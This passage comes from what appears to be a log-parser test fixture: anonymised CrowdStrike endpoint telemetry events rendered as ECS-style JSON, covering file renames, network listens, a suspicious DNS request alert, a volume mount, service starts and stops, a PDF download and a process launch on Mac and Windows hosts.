"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6", - "geo": { - "continent_name": "Europe", - "country_iso_code": "NO", - "country_name": "Norway", - "location": { - "lat": 62.0, - "lon": 10.0 - } - }, - "ip": "2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6", - "port": 49689 - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2020-11-08T17:06:53.224Z", - "crowdstrike": { - "ConfigStateHash": "1789338890", - "ContextProcessId": "321382909294815631", - "ContextTimeStamp": "2020-11-08T16:42:35.987Z", - "Entitlements": "15", - "SHA256HashData": "fa07e991e0c3f3661794bba39061433265162b10cd9036751941cc45e6a4b583", - "TargetFileName": "/Library/Application Support/JAMF/tmp/6B24D2B6-BC17-4470-8078-91A787A19478", - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-8773-06939a2f0915", - "name": "NewExecutableRenamedMacV1" - }, - "device": { - "id": "ffffffffc07b49d6b7426e970523671a" - }, - "event": { - "action": "NewExecutableRenamed", - "category": [ - "file" - ], - "created": "2020-11-08T17:06:53.224Z", - "id": "ffffffff-1111-11eb-8773-06939a2f0915|ffffffffc07b49d6b7426e970523671a|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"ConfigBuild\":\"1007.4.0011104.1\",\"ConfigStateHash\":\"1789338890\",\"ContextProcessId\":\"321382909294815631\",\"ContextThreadId\":\"0\",\"ContextTimeStamp\":\"1604853755.987\",\"Entitlements\":\"15\",\"SHA256HashData\":\"fa07e991e0c3f3661794bba39061433265162b10cd9036751941cc45e6a4b583\",\"Size\":\"165\",\"SourceFileName\":\"/Library/Application Support/JAMF/tmp/.dat.nosync2c98.VBwjsq\",\"TargetFileName\":\"/Library/Application Support/JAMF/tmp/6B24D2B6-BC17-4470-8078-91A787A19478\",\"aid\":\"ffffffffc07b49d6b7426e970523671a\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Mac\",\"event_simpleName\":\"NewExecutableRenamed\",\"id\":\"ffffffff-1111-11eb-8773-06939a2f0915\",\"name\":\"NewExecutableRenamedMacV1\",\"timestamp\":\"1604855213224\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "file": { - "Ext": { - "original": { - "name": ".dat.nosync2c98.VBwjsq", - "path": "/Library/Application Support/JAMF/tmp/.dat.nosync2c98.VBwjsq" - } - }, - "directory": "/Library/Application Support/JAMF/tmp", - "hash": { - "sha256": "fa07e991e0c3f3661794bba39061433265162b10cd9036751941cc45e6a4b583" - }, - "name": "6B24D2B6-BC17-4470-8078-91A787A19478", - "path": "/Library/Application Support/JAMF/tmp/6B24D2B6-BC17-4470-8078-91A787A19478", - "size": 165, - "type": "file" - }, - "host": { - "id": "ffffffffc07b49d6b7426e970523671a", - "os": { - "type": "macos" - } - }, - "message": "NewExecutableRenamed", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffffc07b49d6b7426e970523671a", - "version": "1007.4.0011104.1" - }, - "process": { - "entity_id": "321382909294815631", - "thread": { - "id": 0 - } - }, - "related": { - "hash": [ - "fa07e991e0c3f3661794bba39061433265162b10cd9036751941cc45e6a4b583", - "1789338890" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2020-11-08T17:07:48.755Z", - "crowdstrike": { - "ConfigStateHash": "203564169", - "ConnectionFlags": "0", - "ContextProcessId": "321367236803434269", - "ContextTimeStamp": "2020-11-08T17:07:48.323Z", - "Entitlements": "15", - "InContext": "0", - "LocalAddressIP6": [ - "0:0:0:0:0:0:0:0" - ], - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-9a50-0669ff09604d", - "name": "NetworkListenIP6MacV5" - }, - "destination": { - "address": "0:0:0:0:0:0:0:0", - "ip": "0:0:0:0:0:0:0:0", - "port": 0 - }, - "device": { - "id": "ffffffffa60a47af4ebd2a76070f0d4f" - }, - "event": { - "action": "NetworkListenIP6", - "category": [ - "network" - ], - "created": "2020-11-08T17:07:48.755Z", - "id": "ffffffff-1111-11eb-9a50-0669ff09604d|ffffffffa60a47af4ebd2a76070f0d4f|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"ConfigBuild\":\"1007.4.0011104.1\",\"ConfigStateHash\":\"203564169\",\"ConnectionDirection\":\"0\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"321367236803434269\",\"ContextTimeStamp\":\"1604855268.323\",\"Entitlements\":\"15\",\"InContext\":\"0\",\"LocalAddressIP6\":\"0:0:0:0:0:0:0:0\",\"LocalPort\":\"51076\",\"Protocol\":\"6\",\"RemoteAddressIP6\":\"0:0:0:0:0:0:0:0\",\"RemotePort\":\"0\",\"aid\":\"ffffffffa60a47af4ebd2a76070f0d4f\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Mac\",\"event_simpleName\":\"NetworkListenIP6\",\"id\":\"ffffffff-1111-11eb-9a50-0669ff09604d\",\"name\":\"NetworkListenIP6MacV5\",\"timestamp\":\"1604855268755\"}", - "outcome": "success", - "type": [ - "start" - ] - }, - "host": { - "id": "ffffffffa60a47af4ebd2a76070f0d4f", - "os": { - "type": "macos" - } - }, - "message": "NetworkListenIP6", - "network": { - "direction": "outbound", - "iana_number": "6", - "transport": "tcp" - }, - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffffa60a47af4ebd2a76070f0d4f", - "version": "1007.4.0011104.1" - }, - "process": { - "entity_id": "321367236803434269" - }, - "related": { - "hash": [ - "203564169" - ], - "ip": [ - "67.43.156.14", - "0:0:0:0:0:0:0:0" - ] - }, - "source": { - "address": "0:0:0:0:0:0:0:0", - "ip": "0:0:0:0:0:0:0:0", - "port": 51076 - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2020-11-08T17:08:43.217Z", - "crowdstrike": { - "ConfigStateHash": "3765958535", - "ContextProcessId": "1611521722601", - "ContextTimeStamp": "2020-11-08T17:08:00.307Z", - "DualRequest": "0", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "InterfaceIndex": 0, - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-885e-02ac336efd4b", - "name": "SuspiciousDnsRequestV2" - }, - "device": { - "id": "ffffffff6d724d38af99c628fb904626" - }, - "dns": { - "question": { - "name": "raw.githubusercontent.com", - "registered_domain": "githubusercontent.com", - "subdomain": "raw", - "top_level_domain": "com", - "type": "A" - }, - "type": "query" - }, - "event": { - "action": "SuspiciousDnsRequest", - "category": [ - "network" - ], - "created": "2020-11-08T17:08:43.217Z", - "id": "ffffffff-1111-11eb-885e-02ac336efd4b|ffffffff6d724d38af99c628fb904626|ffffffff30a3407dae27d0503611022d", - "kind": "alert", - "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3765958535\",\"ContextProcessId\":\"1611521722601\",\"ContextThreadId\":\"53405065993811\",\"ContextTimeStamp\":\"1604855280.307\",\"DomainName\":\"raw.githubusercontent.com\",\"DualRequest\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"InterfaceIndex\":\"0\",\"RequestType\":\"1\",\"aid\":\"ffffffff6d724d38af99c628fb904626\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"SuspiciousDnsRequest\",\"id\":\"ffffffff-1111-11eb-885e-02ac336efd4b\",\"name\":\"SuspiciousDnsRequestV2\",\"timestamp\":\"1604855323217\"}", - "outcome": "success", - "type": [ - "start", - "protocol" - ] - }, - "host": { - "id": "ffffffff6d724d38af99c628fb904626", - "os": { - "type": "windows" - } - }, - "message": "SuspiciousDnsRequest", - "network": { - "protocol": "dns" - }, - "observer": { - "address": [ - "67.43.156.13" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.13" - ], - "serial_number": "ffffffff6d724d38af99c628fb904626", - "version": "1007.3.0011603.1" - }, - "process": { - "entity_id": "1611521722601", - "thread": { - "id": 53405065993811 - } - }, - "related": { - "hash": [ - "3765958535" - ], - "ip": [ - "67.43.156.13" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2020-11-08T17:08:49.102Z", - "crowdstrike": { - "ContextProcessId": "4492535979973", - "ContextTimeStamp": "2020-11-08T17:08:35.034Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "VolumeDeviceCharacteristics": "131072", - "VolumeDeviceObjectFlags": "134479872", - "VolumeDeviceType": "8", - "VolumeDriveLetter": "C:", - "VolumeFileSystemDevice": "\\Ntfs", - "VolumeFileSystemDriver": "\\FileSystem\\Ntfs", - "VolumeFileSystemType": "2", - "VolumeIsEncrypted": "0", - "VolumeMountPoint": "\\??\\Volume{9b46da3f-ce44-432f-9230-c9201504bfd7}", - "VolumeName": "\\Device\\HarddiskVolume4", - "VolumeRealDeviceName": "\\Device\\HarddiskVolume4", - "VolumeSectorSize": "512", - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-9be9-024459b713c5", - "name": "FsVolumeMountedV6" - }, - "device": { - "id": "ffffffff1990483499a736373600eef7" - }, - "event": { - "action": "FsVolumeMounted", - "category": [ - "host" - ], - "created": "2020-11-08T17:08:49.102Z", - "id": "ffffffff-1111-11eb-9be9-024459b713c5|ffffffff1990483499a736373600eef7|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"ConfigBuild\":\"100.3.0011603.1\",\"ContextProcessId\":\"4492535979973\",\"ContextThreadId\":\"14023068415125\",\"ContextTimeStamp\":\"1604855315.034\",\"DiskParentDeviceInstanceId\":\"PCI\\\\VEN_8086\\u0026DEV_31E3\\u0026SUBSYS_080C1028\\u0026REV_03\\\\3\\u002611583659\\u00260\\u002690\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"VolumeDeviceCharacteristics\":\"131072\",\"VolumeDeviceObjectFlags\":\"134479872\",\"VolumeDeviceType\":\"8\",\"VolumeDriveLetter\":\"C:\",\"VolumeFileSystemDevice\":\"\\\\Ntfs\",\"VolumeFileSystemDriver\":\"\\\\FileSystem\\\\Ntfs\",\"VolumeFileSystemType\":\"2\",\"VolumeIsEncrypted\":\"0\",\"VolumeMountPoint\":\"\\\\??\\\\Volume{9b46da3f-ce44-432f-9230-c9201504bfd7}\",\"VolumeName\":\"\\\\Device\\\\HarddiskVolume4\",\"VolumeRealDeviceName\":\"\\\\Device\\\\HarddiskVolume4\",\"VolumeSectorSize\":\"512\",\"aid\":\"ffffffff1990483499a736373600eef7\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"FsVolumeMounted\",\"id\":\"ffffffff-1111-11eb-9be9-024459b713c5\",\"name\":\"FsVolumeMountedV6\",\"timestamp\":\"1604855329102\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "file": { - "device": "PCI\\VEN_8086&DEV_31E3&SUBSYS_080C1028&REV_03\\3&11583659&0&90" - }, - "host": { - "id": "ffffffff1990483499a736373600eef7", - "os": { - "type": "windows" - } - }, - "message": "FsVolumeMounted", - "observer": { - "address": [ - "67.43.156.13" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.13" - ], - "serial_number": "ffffffff1990483499a736373600eef7", - "version": "100.3.0011603.1" - }, - "process": { - "entity_id": "4492535979973", - "thread": { - "id": 14023068415125 - } - }, - "related": { - "ip": [ - "67.43.156.13" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2020-11-08T17:05:28.936Z", - "crowdstrike": { - "ConfigStateHash": "1789338890", - "ConnectionFlags": "0", - "ContextProcessId": "321210562584146513", - "ContextTimeStamp": "2020-11-08T17:05:27.011Z", - "Entitlements": "15", - "InContext": "0", - "LocalAddressIP4": [ - "127.0.0.1" - ], - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-ae74-065212970c5d", - "name": "NetworkListenIP4MacV5" - }, - "destination": { - "address": "0.0.0.0", - "ip": "0.0.0.0", - "port": 0 - }, - "device": { - "id": "ffffffffe5ff467b4f0c4fd41a4462bb" - }, - "event": { - "action": "NetworkListenIP4", - "category": [ - "network" - ], - "created": "2020-11-08T17:05:28.936Z", - "id": "ffffffff-1111-11eb-ae74-065212970c5d|ffffffffe5ff467b4f0c4fd41a4462bb|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"ConfigBuild\":\"1007.4.0011104.1\",\"ConfigStateHash\":\"1789338890\",\"ConnectionDirection\":\"0\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"321210562584146513\",\"ContextTimeStamp\":\"1604855127.011\",\"Entitlements\":\"15\",\"InContext\":\"0\",\"LocalAddressIP4\":\"127.0.0.1\",\"LocalPort\":\"53\",\"Protocol\":\"6\",\"RemoteAddressIP4\":\"0.0.0.0\",\"RemotePort\":\"0\",\"aid\":\"ffffffffe5ff467b4f0c4fd41a4462bb\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Mac\",\"event_simpleName\":\"NetworkListenIP4\",\"id\":\"ffffffff-1111-11eb-ae74-065212970c5d\",\"name\":\"NetworkListenIP4MacV5\",\"timestamp\":\"1604855128936\"}", - "outcome": "success", - "type": [ - "start" - ] - }, - "host": { - "id": "ffffffffe5ff467b4f0c4fd41a4462bb", - "os": { - "type": "macos" - } - }, - "message": "NetworkListenIP4", - "network": { - "direction": "outbound", - "iana_number": "6", - "transport": "tcp" - }, - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffffe5ff467b4f0c4fd41a4462bb", - "version": "1007.4.0011104.1" - }, - "process": { - "entity_id": "321210562584146513" - }, - "related": { - "hash": [ - "1789338890" - ], - "ip": [ - "67.43.156.14", - "127.0.0.1", - "0.0.0.0" - ] - }, - "source": { - "address": "127.0.0.1", - "ip": "127.0.0.1", - "port": 53 - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2020-11-08T17:06:24.068Z", - "crowdstrike": { - "AuthenticationId": "999", - "ConfigStateHash": "3338885535", - "ContextTimeStamp": "2020-11-08T17:06:25.108Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "InterfaceGuid": "367ABB81-9844-35F1-AD32-98F038001003", - "InterfaceVersion": "131072", - "RpcClientProcessId": "219053851298", - "RpcClientThreadId": "22047924482692", - "RpcNestingLevel": "0", - "RpcOpNum": "19", - "TargetThreadId": "22920092479704", - "TokenType": "1", - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-860c-0606af112d55", - "name": "HostedServiceStartedV2" - }, - "device": { - "id": "ffffffff59514ea68b4693ddfb9b6643" - }, - "event": { - "action": "HostedServiceStarted", - "category": [ - "process" - ], - "created": "2020-11-08T17:06:24.068Z", - "id": "ffffffff-1111-11eb-860c-0606af112d55|ffffffff59514ea68b4693ddfb9b6643|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"AuthenticationId\":\"999\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3338885535\",\"ContextTimeStamp\":\"1604855185.108\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume1\\\\Windows\\\\System32\\\\gpsvc.dll\",\"InterfaceGuid\":\"367ABB81-9844-35F1-AD32-98F038001003\",\"InterfaceVersion\":\"131072\",\"RpcClientProcessId\":\"219053851298\",\"RpcClientThreadId\":\"22047924482692\",\"RpcNestingLevel\":\"0\",\"RpcOpNum\":\"19\",\"ServiceDisplayName\":\"gpsvc\",\"TargetProcessId\":\"224116976578\",\"TargetThreadId\":\"22920092479704\",\"TokenType\":\"1\",\"UserName\":\"user7\",\"aid\":\"ffffffff59514ea68b4693ddfb9b6643\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"HostedServiceStarted\",\"id\":\"ffffffff-1111-11eb-860c-0606af112d55\",\"name\":\"HostedServiceStartedV2\",\"timestamp\":\"1604855184068\"}", - "outcome": "success", - "type": [ - "start" - ] - }, - "host": { - "id": "ffffffff59514ea68b4693ddfb9b6643", - "os": { - "type": "windows" - } - }, - "message": "HostedServiceStarted", - "observer": { - "address": [ - "67.43.156.13" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.13" - ], - "serial_number": "ffffffff59514ea68b4693ddfb9b6643", - "version": "1007.3.0011603.1" - }, - "process": { - "entity_id": "224116976578", - "executable": "\\Device\\HarddiskVolume1\\Windows\\System32\\gpsvc.dll", - "name": "gpsvc.dll", - "title": "gpsvc" - }, - "related": { - "hash": [ - "3338885535" - ], - "ip": [ - "67.43.156.13" - ], - "user": [ - "user7" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "name": "user7" - } - }, - { - "@timestamp": "2020-11-08T17:08:22.512Z", - "crowdstrike": { - "ConfigStateHash": "3338885535", - "ContextTimeStamp": "2020-11-08T17:08:19.018Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "TargetThreadId": "24238019995551", - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-9b11-0602a5689467", - "name": "HostedServiceStoppedV1" - }, - "device": { - "id": "ffffffff2b5a4bf5afc6682595faa016" - }, - "event": { - "action": "HostedServiceStopped", - "category": [ - "process" - ], - "created": "2020-11-08T17:08:22.512Z", - "id": "ffffffff-1111-11eb-9b11-0602a5689467|ffffffff2b5a4bf5afc6682595faa016|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3338885535\",\"ContextTimeStamp\":\"1604855299.018\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"ServiceDisplayName\":\"wuauserv\",\"TargetProcessId\":\"661455186053\",\"TargetThreadId\":\"24238019995551\",\"aid\":\"ffffffff2b5a4bf5afc6682595faa016\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"HostedServiceStopped\",\"id\":\"ffffffff-1111-11eb-9b11-0602a5689467\",\"name\":\"HostedServiceStoppedV1\",\"timestamp\":\"1604855302512\"}", - "outcome": "success", - "type": [ - "end" - ] - }, - "host": { - "id": "ffffffff2b5a4bf5afc6682595faa016", - "os": { - "type": "windows" - } - }, - "message": "HostedServiceStopped", - "observer": { - "address": [ - "67.43.156.13" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.13" - ], - "serial_number": "ffffffff2b5a4bf5afc6682595faa016", - "version": "1007.3.0011603.1" - }, - "process": { - "entity_id": "661455186053", - "title": "wuauserv" - }, - "related": { - "hash": [ - "3338885535" - ], - "ip": [ - "67.43.156.13" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2020-11-08T17:07:44.313Z", - "crowdstrike": { - "AuthenticationId": "3443175", - "ConfigStateHash": "3338885535", - "ContextProcessId": "1091372257857", - "ContextTimeStamp": "2020-11-08T17:07:07.625Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "FileEcpBitmask": "0", - "FileObject": "18446603341701082336", - "IrpFlags": "1028", - "IsOnNetwork": "0", - "IsOnRemovableDisk": "0", - "MajorFunction": "18", - "MinorFunction": "0", - "OperationFlags": "0", - "TokenType": "1", - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-baea-02dccfbb7779", - "name": "PdfFileWrittenV11" - }, - "device": { - "id": "ffffffff32cb4abc50bc133b31a69946" - }, - "event": { - "action": "creation", - "category": [ - "file" - ], - "created": "2020-11-08T17:07:44.313Z", - "id": "ffffffff-1111-11eb-baea-02dccfbb7779|ffffffff32cb4abc50bc133b31a69946|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"AuthenticationId\":\"3443175\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3338885535\",\"ContextProcessId\":\"1091372257857\",\"ContextThreadId\":\"36855848099771\",\"ContextTimeStamp\":\"1604855227.625\",\"DiskParentDeviceInstanceId\":\"PCI\\\\VEN_1179\\u0026DEV_0113\\u0026SUBSYS_00011179\\u0026REV_01\\\\4\\u00263ad42678\\u00260\\u002600E0\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"FileEcpBitmask\":\"0\",\"FileIdentifier\":\"f5ce07c6af67ec4ebe0846ff200bfc2f54f7020000002100\",\"FileObject\":\"18446603341701082336\",\"IrpFlags\":\"1028\",\"IsOnNetwork\":\"0\",\"IsOnRemovableDisk\":\"0\",\"MajorFunction\":\"18\",\"MinorFunction\":\"0\",\"OperationFlags\":\"0\",\"Size\":\"288041\",\"TargetFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\user12\\\\AppData\\\\Local\\\\Packages\\\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\\\TempState\\\\Downloads\\\\ex.pdf.8e41hf8.partial\",\"TokenType\":\"1\",\"aid\":\"ffffffff32cb4abc50bc133b31a69946\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"PdfFileWritten\",\"id\":\"ffffffff-1111-11eb-baea-02dccfbb7779\",\"name\":\"PdfFileWrittenV11\",\"timestamp\":\"1604855264313\"}", - "outcome": "success", - "type": [ - "creation" - ] - }, - "file": { - "device": "PCI\\VEN_1179&DEV_0113&SUBSYS_00011179&REV_01\\4&3ad42678&0&00E0", - "directory": "\\Device\\HarddiskVolume3\\Users\\user12\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\TempState\\Downloads", - "extension": "partial", - "inode": "f5ce07c6af67ec4ebe0846ff200bfc2f54f7020000002100", - "name": "ex.pdf.8e41hf8.partial", - "path": "\\Device\\HarddiskVolume3\\Users\\user12\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\TempState\\Downloads\\ex.pdf.8e41hf8.partial", - "size": 288041, - "type": "file" - }, - "host": { - "id": "ffffffff32cb4abc50bc133b31a69946", - "os": { - "type": "windows" - } - }, - "message": "PdfFileWritten", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff32cb4abc50bc133b31a69946", - "version": "1007.3.0011603.1" - }, - "process": { - "entity_id": "1091372257857", - "thread": { - "id": 36855848099771 - } - }, - "related": { - "hash": [ - "3338885535" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2020-11-08T17:06:22.022Z", - "crowdstrike": { - "AuthenticationId": "3783389", - "ConfigStateHash": "3998263252", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "ImageSubsystem": "2", - "IntegrityLevel": "4096", - "MD5HashData": "50d5fd1290d94d46acca0585311e74d5", - "ParentAuthenticationId": "3783389", - "ProcessCreateFlags": "525332", - "ProcessParameterFlags": "16385", - "ProcessSxsFlags": "1600", - "RpcClientProcessId": "2439558094566", - "SHA256HashData": "b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37", - "SessionId": "1", - "SourceProcessId": "2439558094566", - "SourceThreadId": "77538684027214", - "Tags": [ - "41", - "12094627905582", - "12094627906234" - ], - "TokenType": "2", - "WindowFlags": "128", - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-8462-02ade3b2f949", - "name": "ProcessRollup2V18" - }, - "device": { - "id": "ffffffff655344736aca58d17fb570f0" - }, - "event": { - "action": "ProcessRollup2", - "category": [ - "process" - ], - "created": "2020-11-08T17:06:22.022Z", - "id": "ffffffff-1111-11eb-8462-02ade3b2f949|ffffffff655344736aca58d17fb570f0|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"AuthenticationId\":\"3783389\",\"CommandLine\":\"\\\"C:\\\\WINDOWS\\\\system32\\\\backgroundTaskHost.exe\\\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca\",\"ConfigBuild\":\"1007.3.0012309.1\",\"ConfigStateHash\":\"3998263252\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\backgroundTaskHost.exe\",\"ImageSubsystem\":\"2\",\"IntegrityLevel\":\"4096\",\"MD5HashData\":\"50d5fd1290d94d46acca0585311e74d5\",\"ParentAuthenticationId\":\"3783389\",\"ParentBaseFileName\":\"svchost.exe\",\"ParentProcessId\":\"2439558094566\",\"ProcessCreateFlags\":\"525332\",\"ProcessEndTime\":\"\",\"ProcessParameterFlags\":\"16385\",\"ProcessStartTime\":\"1604855181.648\",\"ProcessSxsFlags\":\"1600\",\"RawProcessId\":\"22272\",\"RpcClientProcessId\":\"2439558094566\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"SHA256HashData\":\"b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37\",\"SessionId\":\"1\",\"SourceProcessId\":\"2439558094566\",\"SourceThreadId\":\"77538684027214\",\"Tags\":\"41, 12094627905582, 12094627906234\",\"TargetProcessId\":\"2450046082233\",\"TokenType\":\"2\",\"UserSid\":\"S-1-12-1-3697283754-1083485977-2164330645-2516515886\",\"WindowFlags\":\"128\",\"aid\":\"ffffffff655344736aca58d17fb570f0\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"ProcessRollup2\",\"id\":\"ffffffff-1111-11eb-8462-02ade3b2f949\",\"name\":\"ProcessRollup2V18\",\"timestamp\":\"1604855182022\"}", - "outcome": "success", - "type": [ - "start" - ] - }, - "host": { - "id": "ffffffff655344736aca58d17fb570f0", - "os": { - "type": "windows" - } - }, - "message": "ProcessRollup2", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "ffffffff655344736aca58d17fb570f0", - "version": "1007.3.0012309.1" - }, - "process": { - "Ext": { - "token": { - "integrity_level_name": "LOW" - } - }, - "args": [ - "C:\\WINDOWS\\system32\\backgroundTaskHost.exe", - "-ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca" - ], - "args_count": 2, - "command_line": "\"C:\\WINDOWS\\system32\\backgroundTaskHost.exe\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca", - "entity_id": "2450046082233", - "executable": "\\Device\\HarddiskVolume3\\Windows\\System32\\backgroundTaskHost.exe", - "hash": { - "md5": "50d5fd1290d94d46acca0585311e74d5", - "sha256": "b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37" - }, - "name": "backgroundTaskHost.exe", - "parent": { - "entity_id": "2439558094566", - "name": "svchost.exe" - }, - "pid": 22272, - "start": "2020-11-08T17:06:21.648Z" - }, - "related": { - "hash": [ - "50d5fd1290d94d46acca0585311e74d5", - "b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37", - "3998263252" - ], - "ip": [ - "67.43.156.14" - ], - "user": [ - "S-1-12-1-3697283754-1083485977-2164330645-2516515886" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "id": "S-1-12-1-3697283754-1083485977-2164330645-2516515886" - } - }, - { - "@timestamp": "2020-11-08T17:09:15.388Z", - "crowdstrike": { - "AuthenticationId": "326190744", - "AuthenticationUuid": "98467113-C771-4845-B71B-89B3CE9F93C9", - "AuthenticationUuidAsString": "13714698-71C7-4548-B71B-89B3CE9F93C9", - "ConfigStateHash": "1457965279", - "Entitlements": "15", - "UserSid": "S-1-5-21-3629339319-2376021926-2724479216-652382488", - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-b9b4-063e98f9b19b", - "name": "UserIdentityMacV2" - }, - "device": { - "id": "ffffffff1f32487185fcde66a9dc0528" - }, - "event": { - 